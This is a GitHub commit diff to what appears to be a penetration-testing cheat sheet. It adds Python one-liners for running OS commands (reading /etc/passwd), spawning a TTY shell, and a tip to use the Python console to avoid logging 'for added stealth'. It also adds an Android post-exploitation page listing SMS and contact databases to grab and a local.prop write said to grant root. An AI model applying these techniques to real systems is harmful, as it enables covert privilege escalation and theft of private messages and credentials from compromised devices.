File tree Expand file tree Collapse file tree 3 files changed +52
-2
lines changed Expand file tree Collapse file tree 3 files changed +52
-2
lines changed Original file line number Diff line number Diff line change @@ -18,3 +18,15 @@ python -c 'import pty; pty.spawn("/bin/bash")'```
18
18
*** Print all ASCII characters***
19
19
```python
20
20
python - c ' import string; print string.printable' ```
21
+
22
+ ** Run OS commands through Python Interpreter**
23
+ ```python
24
+ python - c ' import os; os.system("command here")' ```
25
+
26
+ example:
27
+
28
+ ```
29
+ python -c 'import os; os.system("cat /etc/passwd")'```
30
+
31
+ Remember that the python console does not log code by default, so you can run all post-exploit shenanigans through the python console for added stealth.
32
+ Also gets by certain environmental restrictions.
Original file line number Diff line number Diff line change 1
- # Place Holder
1
+ # Android
2
+
3
+ ##Files to grab
4
+
5
+ ###Text Messages (Needs Root):
6
+
7
+ ```
8
+ /data/data/com.android.providers/telephony/databases/mmssms.db
9
+ /data/data/com.android.providers.telephony/databases/mmssms.db
10
+ ```
11
+
12
+ ###Contacts (Needs Root):
13
+
14
+ ```
15
+ /data/data/android.providers.contacts/databases
16
+ ```
17
+
18
+ ###Local System Settings:
19
+
20
+ ```
21
+ /data/local.prop
22
+ ```
23
+
24
+ If you can write to this file the following line will grant root:
25
+
26
+ ```
27
+ echo "ro.kernel.qemu=1" > /data/local.prop
28
+ ```
29
+
30
+ ###Device Settings:
31
+
32
+ ```
33
+ /system/build.prop
34
+ ```
2
35
3
- Content coming. Feel free to submit ;-)
Original file line number Diff line number Diff line change
1
+ # Mobile
2
+
3
+ Got a shell on a mobile device? Here's some things to do next.
4
+
5
+ * [ Android] ( android.md ) - Android Post Exploitation
6
+ * [ iOS] ( ios.md ) - iOS Post Exploitation
You can’t perform that action at this time.
0 commit comments